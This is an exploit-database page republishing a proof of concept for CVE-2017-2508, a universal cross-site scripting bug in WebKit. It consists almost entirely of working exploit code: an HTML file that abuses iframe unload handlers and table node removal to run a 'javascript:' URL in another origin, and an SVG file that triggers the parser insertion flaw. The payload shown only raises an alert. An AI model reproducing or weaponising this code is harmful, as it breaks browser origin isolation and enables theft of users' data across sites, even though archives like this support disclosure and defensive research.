Sploitus

Exploit for WebKit: UXSS via ContainerNode::parserInsertBefore

CVE-2017-2508

seebug · 2018-01-29

Exploit Code

MARKDOWN54 lines
## https://sploitus.com/exploit?id=SSV:97107
1.html
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<body><iframe></iframe><table><b><p><iframe></iframe><script>
frames[1].onunload = function() {
  document.body.removeChild(document.querySelector('table'));
}

onunload = function() {
  // Clean up to fix some crashes during reload.
  while (document.childNodes.length) {
    document.removeChild(document.childNodes[0]);
  }
}

onload = function() {
  try{ frames[0].a }catch(e){ location.reload() };
  xof = frames[0].frameElement;
  xof.onload = function() {
    xof.onload = null;
    xof.src = 'javascript:alert(document.location)';
    var xmlErr = document.documentElement.appendChild(document.createElement('iframe'));
    xmlErr.src = '1.svg';
  }
  xof.src = 'data:text/html,crossOrigin';
}
</script></b></p></table></body>
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1.svg
----------------------------
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(document.createElementNS('http://www.w3.org/1999/xhtml', 'iframe'));

var b = top.xof.parentNode;
if (t = b.childNodes[1]) {
  // It appears that something is holding the table element alive
  // because the node destructor didn't run and its siblings' refs
  // to it weren't cleared, so it's still reachable during node 
  // traversals. That'd crash when insertedInto notifications try to 
  // use the node's parentOrShadowHostNode(), so make sure it has
  // a parent, and use a spare document to avoid traversal loops.
  top.frames[1].document.body.appendChild(t);
}

frames[0].onunload = function() {
  document.documentElement.appendChild(b);
  b.insertBefore(document.createElement('x'), top.xof);
}
</script>
<element a="1" a="2" />
</svg>
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